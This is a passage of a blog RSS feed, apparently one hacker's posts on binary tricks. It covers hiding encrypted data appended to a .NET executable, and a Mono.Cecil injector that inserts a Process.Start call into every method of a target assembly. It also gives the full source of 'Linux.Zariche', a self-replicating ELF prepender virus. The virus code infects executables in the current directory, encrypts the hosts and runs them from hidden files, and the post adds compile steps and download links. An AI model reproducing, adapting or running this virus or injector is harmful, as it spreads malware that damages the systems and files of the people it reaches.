private static byte[] JoinTwoByteArrays(byte[] arrayA, byte[] arrayB) { byte[] outputBytes = new byte[arrayA.Length &#43; arrayB.Length]; Buffer.BlockCopy(arrayA, 0, outputBytes, 0, arrayA.Length); Buffer.BlockCopy(arrayB, 0, outputBytes, arrayA.Length, arrayB.Length); return outputBytes; } private static byte[] encryptdata(byte[] bytearraytoencrypt, string key, string iv) { AesCryptoServiceProvider dataencrypt = new AesCryptoServiceProvider(); dataencrypt.BlockSize = 128; dataencrypt.KeySize = 128; dataencrypt.Key = System.Text.Encoding.UTF8.GetBytes(key); dataencrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv); dataencrypt.Padding = PaddingMode.PKCS7; dataencrypt.Mode = CipherMode.CBC; ICryptoTransform crypto1 = dataencrypt.CreateEncryptor(dataencrypt.Key, dataencrypt.IV); byte[] encrypteddata = crypto1.TransformFinalBlock(bytearraytoencrypt, 0, bytearraytoencrypt.Length); crypto1.Dispose(); return encrypteddata; } private static byte[] decryptdata(byte[] bytearraytodecrypt, string key, string iv) { AesCryptoServiceProvider keydecrypt = new AesCryptoServiceProvider(); keydecrypt.BlockSize = 128; keydecrypt.KeySize = 128; keydecrypt.Key = System.Text.Encoding.UTF8.GetBytes(key); keydecrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv); keydecrypt.Padding = PaddingMode.PKCS7; keydecrypt.Mode = CipherMode.CBC; ICryptoTransform crypto1 = keydecrypt.CreateDecryptor(keydecrypt.Key, keydecrypt.IV); byte[] returnbytearray = crypto1.TransformFinalBlock(bytearraytodecrypt, 0, bytearraytodecrypt.Length); crypto1.Dispose(); return returnbytearray; } A basic method for joining two byte[] arrays and, of course, a standard AES encrypt/decrypt routine I&amp;rsquo;ve found somewhere. I could write my own but I was kind of in a hurry so I got this, credits to the creator, whoever you are. You can use your own, code your own, use other cypher, it does not matter, the concept should still work.
Our main function explained.
int mysize = 7168; //original program size (clean, no messages hidden) byte[] hostbytes = File.ReadAllBytes (Assembly.GetExecutingAssembly ().Location); //current bytes int currentsize = hostbytes.Length; //original byte size int msgsize = currentsize - mysize; //message size, duh! Now that we finish getting the message size, lets read/write it, depending on the user needs!
Those are the arguments to call the program from the terminal. //args[0] = mode - enc or dec //args[1] = the message //args[2] = the password
Here we check if we have arguments to process and if not, we run normally and keep the message hidden.
if (args.Length &amp;gt; 0) { if (args[0] == &amp;#34;enc&amp;#34;) { //if 1st arg is encrypt, we declare the message and password too 	string message = args[1]; string passwd= args[2]; //lets encrypt the message with the given password and IV 	byte[] crypted = encryptdata(System.Text.Encoding.UTF8.GetBytes(message), passwd, &amp;#34;0123456789101112&amp;#34;); byte[] joined = JoinTwoByteArrays(hostbytes, crypted); //now we join the host byte array with the message, this is the same as appending to the EOF else if (args[0] == &amp;#34;dec&amp;#34;) { //if 1st arg is decrypt, we must gather the message bytes 	string passwd= args[1]; Stream stream = new MemoryStream(hostbytes); //getting a stream from the whole file bytes 	BinaryReader b = new BinaryReader(stream); //invoking a reader 	b.BaseStream.Seek (mysize, SeekOrigin.Begin); //setting the position to the end of the original app 	byte[] encmsg = b.ReadBytes(msgsize); //read the message 	byte[] decrypted = decryptdata (encmsg, passwd, &amp;#34;0123456789101112&amp;#34;); //decrypt it 	MessageBox.Show (System.Text.Encoding.UTF8.GetString (decrypted)); //display it! 	} Screenshots of the proof of concept:
Encrypt &amp;amp; Decrypt
This is still a very basic example, you could modify it to do some pretty cool stuff (perhaps using Mono.Cecil), inject your message into any .NET assembly, etc. Check the full code here.
I&amp;rsquo;ll probably release a ELF version of this soon, probably in Vala.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>.NET Injection Cecil</title>
      <link>https://www.guitmz.com/net-injection-cecil/</link>
      <pubDate>Fri, 10 Apr 2015 14:40:09 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/net-injection-cecil/</guid>
      <description>This may not be news for everyone but I find it interesting. Mono.Cecil is a impressive work and can provide a lot of cool features such as runtime .NET assembly manipulation. We can inject opcodes (IL instructions) into a target assembly, transforming it as we wish. Here&amp;rsquo;s the test scenario:
A dummy C# application like the one below, compile it to get it&amp;rsquo;s executable file, that&amp;rsquo;s what we need (https://github.com/guitmz/msil-cecil-injection).</description>
      <content:encoded><![CDATA[This may not be news for everyone but I find it interesting. Mono.Cecil is a impressive work and can provide a lot of cool features such as runtime .NET assembly manipulation. We can inject opcodes (IL instructions) into a target assembly, transforming it as we wish. Here&amp;rsquo;s the test scenario:
A dummy C# application like the one below, compile it to get it&amp;rsquo;s executable file, that&amp;rsquo;s what we need (https://github.com/guitmz/msil-cecil-injection).
using System; namespace Dummy { class Program { public static void Main(string[] args) { Console.WriteLine(&amp;#34;DUMMY APP HERE YO!&amp;#34;); Console.ReadLine(); } } } We also have this other application which will be our injector. You&amp;rsquo;ll need to download the Mono.Cecil DLL file and add it as reference in the injector project.
using System; using Mono.Cecil; using Mono.Cecil.Cil; using System.Diagnostics; namespace Injector { class MainClass { public static void Main (string[] args) { Console.WriteLine(&amp;#34;&amp;gt; INJECTING INTO 12345.EXE...&amp;#34; &#43; Environment.NewLine); //Reading the .NET target assembly 	AssemblyDefinition asm = AssemblyDefinition.ReadAssembly(@&amp;#34;C:\dummy.exe&amp;#34;); //Creating the Console.WriteLine() method and importing it into the target assembly 	//You can use any method you want 	var writeLineMethod = typeof(Console).GetMethod(&amp;#34;WriteLine&amp;#34;, new Type[] { typeof(string) }); var writeLineRef = asm.MainModule.Import(writeLineMethod); //Creating the Process.Start() method and importing it into the target assembly 	var pStartMethod = typeof(Process).GetMethod(&amp;#34;Start&amp;#34;, new Type[] { typeof(string) }); var pStartRef = asm.MainModule.Import(pStartMethod); foreach (var typeDef in asm.MainModule.Types) //foreach type in the target assembly 	{ foreach (var method in typeDef.Methods) //and for each method in it too 	{ //Let&amp;#39;s push a string using the Ldstr Opcode to the stack 	method.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Ldstr, &amp;#34;INJECTED!&amp;#34;)); //We add the call to the Console.WriteLine() method. It will read from the stack 	method.Body.Instructions.Insert(1, Instruction.Create(OpCodes.Call, writeLineRef)); //We push the path of the executable you want to run to the stack 	method.Body.Instructions.Insert(2, Instruction.Create(OpCodes.Ldstr, @&amp;#34;calc.exe&amp;#34;)); //Adding the call to the Process.Start() method, It will read from the stack 	method.Body.Instructions.Insert(3, Instruction.Create(OpCodes.Call, pStartRef)); //Removing the value from stack with pop 	method.Body.Instructions.Insert(4, Instruction.Create(OpCodes.Pop)); } } asm.Write(&amp;#34;12345.exe&amp;#34;); //Now we just save the new assembly and it&amp;#39;s ready to go  Console.WriteLine(&amp;#34;&amp;gt; DONE!&amp;#34;); Console.ReadKey(true); } } } Ok, that&amp;rsquo;s a nice start, we can print a message and execute a file from an injected assembly! Here&amp;rsquo;s the IL code from before and after the injection.
Before
.method public hidebysig static void Main ( string[] args ) cil managed { // Method begins at RVA 0x2050 	// Code size 19 (0x13) 	.maxstack 8 .entrypoint IL_0000: nop IL_0001: ldstr &amp;#34;DUMMY APP HERE YO!&amp;#34; IL_0006: call void[mscorlib]System.Console::WriteLine(string) IL_000b: nop IL_000c: call string[mscorlib]System.Console::ReadLine() IL_0011: pop IL_0012: ret } // end of method Program::Main After
.method public hidebysig static void Main ( string[] args ) cil managed { // Method begins at RVA 0x2050 	// Code size 40 (0x28) 	.maxstack 8 .entrypoint IL_0000: ldstr &amp;#34;INJECTED!!!&amp;#34; IL_0005: call void[mscorlib]System.Console::WriteLine(string) IL_000a: ldstr &amp;#34;calc.exe&amp;#34; IL_000f: call class [System]System.Diagnostics.Process[System]System.Diagnostics.Process::Start(string) IL_0014: pop IL_0015: nop IL_0016: ldstr &amp;#34;Hello World!&amp;#34; IL_001b: call void[mscorlib]System.Console::WriteLine(string) IL_0020: nop IL_0021: call string[mscorlib]System.Console::ReadLine() IL_0026: pop IL_0027: ret } // end of method Program::Main If you now execute the newly generated &amp;ldquo;12345.exe&amp;rdquo; file, you will get something like the this.
That&amp;rsquo;s pretty much the basics, we can easly add a method to execute any application we want inside another .NET assembly. You could also import the a WebClient and create a downloader, a file dropper or whatever. I might even use this in future projects, who knows!
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Linux.Zariche: a Vala virus</title>
      <link>https://www.guitmz.com/vala-virus/</link>
      <pubDate>Fri, 10 Apr 2015 14:29:09 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/vala-virus/</guid>
      <description>Vala is an object-oriented programming language with a self-hosting compiler that generates C code and uses the GObject system. Vala is syntactically similar to C# and and rather than being compiled directly to assembly or to another intermediate language, Vala is source-to-source compiled to C, which is then compiled with a platform&amp;rsquo;s standard C compiler, such as GCC.
You can also create VAPI files which are basically native C (not C&#43;&#43;) functions you can import to Vala code (I will show an example later).</description>
      <content:encoded><![CDATA[Vala is an object-oriented programming language with a self-hosting compiler that generates C code and uses the GObject system. Vala is syntactically similar to C# and and rather than being compiled directly to assembly or to another intermediate language, Vala is source-to-source compiled to C, which is then compiled with a platform&amp;rsquo;s standard C compiler, such as GCC.
You can also create VAPI files which are basically native C (not C&#43;&#43;) functions you can import to Vala code (I will show an example later). Being a language that is converted into plain and pure C, Vala code can also run on Windows (with the necessary code optimizations, of course).
Anyway I was decided to write a prepender in this language, the first (binary) virus ever written so far in Vala. It&amp;rsquo;s named Linux.Zariche and there are two variants available so far.
 Linux.Zariche.A original release, simple ELF infector (prepender). Linux.Zariche.B uses AES encryptation via external library (vapi).  I will explain parts of the code and then add a download link for the full file below (you can check the GitHub repository too at https://github.com/guitmz/vala-zariche). Shall we start?
The very first thing I&amp;rsquo;m going to do is to declare my global variables and specify the library I&amp;rsquo;m using for most of the functions, which is libgee. I&amp;rsquo;m also importing the native C exit() function as you can see.
using Gee; uint8[] virbytes; uint8[] hostbytes; uint8[] allbytes; uint8[] tempbytes; string etag_out; string etag_outhost; size_t bytes_written; extern void exit(int exit_code); Now let&amp;rsquo;s take a look at the main function here
int main(string[] args) { int i = 0; //file counter  bool marked; string virName = GLib.Path.get_basename(args[0]); //get virus basename  var file = File.new_for_path(virName); file.load_contents(null, out virbytes, out etag_out); //load virus bytes  int virsize = GetSize(file.get_path()); var list = new ArrayList(); //creates a list  var directory = File.new_for_path(&amp;#34;.&amp;#34;); //create a variable for the current directory  var enumerator = directory.enumerate_children(FileAttribute.STANDARD_NAME, 0); //enum by file name  FileInfo file_info; //file info variable  while ((file_info = enumerator.next_file()) != null) { //check all the files in folder  if(isELF(file_info.get_name())) { //if ELF  list.add(file_info.get_name()); //add to list  i&#43;&#43;; //increase counter  } } list.remove(virName); //removes current file from list to prevent issues  if(i &amp;gt; 0) { //if we have ELF files in folder  foreach(string s in list) { //for every ELF file in list  marked = CheckMark(s); //check if is already marked a.k.a. infected  if(!marked) { Infect(s); //if file is not marked, infect  } } } if(virsize &amp;gt; 38727) { //if current file size is bigger than the virus itself, its an infected file  RunHost(virName); //so we run only the host code now  } else { exit(0); //smell ya later!  } return 0; } Nothing fancy here. There are comments in the code but I will briefly explain the core of the virus.
 1.0 Loads itself into a variable and gets self size  string virName = GLib.Path.get_basename(args[0]); //get virus basename  var file = File.new_for_path(virName); file.load_contents(null, out virbytes, out etag_out); //load virus bytes  int virsize = GetSize(file.get_path());  2.0 Creates a list of all ELF files in the current directory (excluding itself, of course)  var list = new ArrayList(); //creates a list var directory = File.new_for_path(&amp;#34;.&amp;#34;); //create a variable for the current directory var enumerator = directory.enumerate_children(FileAttribute.STANDARD_NAME, 0); //enum by file name FileInfo file_info; //file info variable 	while ((file_info = enumerator.next_file()) != null) { //check all the files in folder  if(isELF(file_info.get_name())) { //if ELF  list.add(file_info.get_name()); //add to list  i&#43;&#43;; //increase counter  } } list.remove(virName); //removes current file from list to prevent issues  2.1 Here&amp;rsquo;s the function to check if the file is a valid ELF, it reads the magic number of the file to determinate if is what its looking for  bool isELF(string f) { uint32 ELF_signature = 0x464c457f; //0x464c457f means &amp;#34;.ELF&amp;#34;  var file = File.new_for_path(f); //create the file variable  var file_stream = file.read(); //reading the file into a stream 	var data_stream = new DataInputStream(file_stream); //data stream with the data read from file 	data_stream.set_byte_order(DataStreamByteOrder.LITTLE_ENDIAN); //byte order = little endian 	uint32 signature = data_stream.read_uint32(); //defines a signature variable - uint 32bits 	//check if is a valid ELF file by it&amp;#39;s signature 	if (signature == ELF_signature) { return true; //OMG it&amp;#39;s an ELF! 	} else return false; //dafuq bro, this is no ELF! 	}  3.0 Now its decide which ELF files to process by checking if they are already infected if(i &amp;gt; 0) { //if we have ELF files in folder  foreach(string s in list) { //for every ELF file in list  marked = CheckMark(s); //check if is already marked a.k.a. infected  if(!marked) { Infect(s); //if file is not marked, infect  } } } if(virsize &amp;gt; 38727) { //if current file size is bigger than the virus itself, its an infected file  RunHost(virName); //so we run only the host code now  } else { exit(0); //smell ya later!  }
 3.0.1 Function to get file size
  int GetSize(string f) { var file = File.new_for_path(f); file.load_contents(null, out tempbytes, out etag_outhost); //load host bytes 	Bytes bytes = new Bytes(tempbytes); //load all bytes a.k.a virus &#43; host 	int size = bytes.length; //get full elf size  return size; }  3.1 What I&amp;rsquo;m using to check for the infection mark, thanks again to slek a.k.a. MitterAngel. It goes byte by byte checking for the pattern  bool CheckMark(string f) { //thanks to slek 	uint8[] buf; string tag; var file = File.new_for_path(f); //opens file 	file.load_contents (null, out buf, out tag); //loads file into memory and returns a byte array with its content  Bytes bytes = new Bytes(buf); //create a byte var based in the above array 	size_t size = bytes.get_size(); //get the size of the bytes  string _mark = &amp;#34;=TMZ=&amp;#34;; //infection mark 	for (int x = 1; x &amp;lt; size; &#43;&#43;x) { if (buf[x] == _mark[0]) { int y; for (y = 1; y &amp;lt; _mark.length; &#43;&#43;y) { if ((x &#43; y) &amp;gt;= size) break; if (buf[x &#43; y] != _mark[y]) break; } if (y == _mark.length) { return true; //infected!  } } } return false; //not infected 	}  3.2 The infection routine with AES (the VAPI is available for download below). Creates a new file with virus content &#43; encrypted host content  void Infect(string f) { var file = File.new_for_path(f); file.load_contents(null, out hostbytes, out etag_outhost); //load host bytes 	FileIOStream ios = file.open_readwrite(); //open host for writting 	FileOutputStream os = ios.output_stream as FileOutputStream; //sets an output stream 	os.seek (0, SeekType.SET); //make sure we are at the beggining of the file 	uint8[] key = &amp;#34;abcdefghijklmnop&amp;#34;.data; //16bit key 	uint8[] iv = &amp;#34;0123456789101112&amp;#34;.data; //16bit iv 	uint8[] hostbytes_aes = aes_enc(key, iv, hostbytes); os.write_all(virbytes, out bytes_written); //write virus bytes to position 0 (prepender) 	os.write_all(hostbytes_aes, out bytes_written); //write host bytes right after virus ending }  3.4 AES encryption (Using the Nettle VAPI)  public uint8[] aes_enc(uint8[] key, uint8[] iv, uint8[] data) { return_if_fail(iv.length == Nettle.AES_BLOCK_SIZE); // nettle overrites the iv, so make a copy 	uint8[] iv_copy = {}; iv_copy.resize(iv.length); Posix.memcpy(iv_copy, iv, iv.length); var encrypt_part = data.length / Nettle.AES_BLOCK_SIZE; encrypt_part *= Nettle.AES_BLOCK_SIZE; var aes = Nettle.AES(); aes.set_encrypt_key(key.length, key); uint8[] result = {}; result.resize(data.length); Nettle.cbc_encrypt(&amp;amp;aes, aes.encrypt, Nettle.AES_BLOCK_SIZE, iv_copy, encrypt_part, result, data); if (encrypt_part != data.length) Posix.memcpy(&amp;amp;result[encrypt_part], &amp;amp;data[encrypt_part], data.length - encrypt_part); return result; }  3.5 Running the host: it will read the host bytes and create a hidden file (semi random name to avoid problems) with its content. Later it will run the dropped host file, waiting for it to finish to return to the virus execution  void RunHost(string current) { int random = Random.int_range(1, 100); string hostbytes = &amp;#34;.hostbytes&amp;#34; &#43; random.to_string(); //hidden file with random pattern in name  var host = File.new_for_path(hostbytes); //create empty hidden hostfile  var host_created = host.create(FileCreateFlags.NONE); var infected_file = File.new_for_path(current); //get contents of whole file (virus &#43; host)  infected_file.load_contents (null, out allbytes, out etag_out); FileStream stream = FileStream.open(infected_file.get_path(), &amp;#34;r&amp;#34;); //open current file stream  assert(stream != null); int sizeall = GetSize(infected_file.get_path()); int hostsize = sizeall - 38727; //host size must be the full elf size - 11111 (virus size)  stream.seek(38727, FileSeek.SET); //set stream to the begin of the host bytes  // load content:  uint8[] buf_aes = new uint8[hostsize]; //read host content into a byte buffer  size_t read = stream.read(buf_aes, 1); assert (hostsize == read); //keep reading byte per byte until it finishes the entire file  uint8[] key = &amp;#34;abcdefghijklmnop&amp;#34;.data; uint8[] iv = &amp;#34;0123456789101112&amp;#34;.data; uint8[] buf = aes_dec(key, iv, buf_aes); var dos = new DataOutputStream(host_created); //write buffer to new file with only the host code  dos.write_all(buf, out bytes_written); stream.flush(); // make sure data is written to our file  dos.close(); GLib.FileUtils.chmod(hostbytes, 0755); //give the host file exec permission  try { Process.spawn_command_line_async(&amp;#34;./&amp;#34; &#43; hostbytes); //run the host and waits for it to finish  } catch (SpawnError e) { stderr.printf (&amp;#34;%s\n&amp;#34;, e.message); //there is no room for errors here!  } try { host.delete (); //delete the hidden host file after its execution  } catch (Error e) { stdout.printf (&amp;#34;Error: %s\n&amp;#34;, e.message); } }  3.6 AES decryption  public uint8[] aes_dec(uint8[] key, uint8[] iv, uint8[] data) { return_if_fail(iv.length == Nettle.AES_BLOCK_SIZE); // nettle overrites the iv, so make a copy 	uint8[] iv_copy = {}; iv_copy.resize(iv.length); Posix.memcpy(iv_copy, iv, iv.length); var decrypt_part = data.length / Nettle.AES_BLOCK_SIZE; decrypt_part *= Nettle.AES_BLOCK_SIZE; var aes = Nettle.AES(); aes.set_decrypt_key(key.length, key); uint8[] result = {}; result.resize(data.length); Nettle.cbc_decrypt(&amp;amp;aes, aes.decrypt, Nettle.AES_BLOCK_SIZE, iv_copy, decrypt_part, result, data); if (decrypt_part != data.length) Posix.memcpy(&amp;amp;result[decrypt_part], &amp;amp;data[decrypt_part], data.length - decrypt_part); return result; } That was it, function by function. Now the Nettle VAPI library for AES, here it is
namespace Nettle {[CCode (has_target = false)] public delegate void CryptFunc(void* ctx, uint length, uint8* dst, uint8* src);[CCode (cname = &amp;#34;struct aes_ctx&amp;#34;, cprefix = &amp;#34;aes_&amp;#34;, cheader_filename = &amp;#34;nettle/aes.h&amp;#34;)] public struct AES { public void set_encrypt_key(uint length, uint8* key); public void set_decrypt_key(uint length, uint8* key); public void invert_key(AES *src); public void encrypt(uint length, uint8* dst, uint8* src); public void decrypt(uint length, uint8* dst, uint8* src); }[CCode (cname = &amp;#34;cbc_encrypt&amp;#34;, cheader_filename = &amp;#34;nettle/cbc.h&amp;#34;)] public void cbc_encrypt(void* ctx, CryptFunc f, uint block_size, uint8* iv, uint length, uint8* dst, uint8* src);[CCode (cname = &amp;#34;cbc_decrypt&amp;#34;, cheader_filename = &amp;#34;nettle/cbc.h&amp;#34;)] public void cbc_decrypt(void* ctx, CryptFunc f, uint block_size, uint8* iv, uint length, uint8* dst, uint8* src);[CCode (cname = &amp;#34;AES_BLOCK_SIZE&amp;#34;, cheader_filename = &amp;#34;nettle/aes.h&amp;#34;)] public const int AES_BLOCK_SIZE; } Compilation instructions are the following (tested on a x86_64 system, but should work on x86):
 valac filename.vala &amp;ndash;pkg=gee-1.0 &amp;ndash;pkg=gio-2.0 &amp;ndash;pkg=nettle &amp;ndash;pkg=posix
 Where Vala &amp;gt;= 0.20. In order to use the &amp;ndash;pkg=nettle flag, place your nettle.vapi file inside Vala&amp;rsquo;s library folder, usually something like /usr/share/vala-0.20/vapi for example.
Download links:
 Linux.Zariche.B source: http://vx.thomazi.me/zariche.vala Nettle VAPI: http://vx.thomazi.me/nettle.vapi  TMZ
]]></content:encoded>
    </item>
  </channel>
</rss>
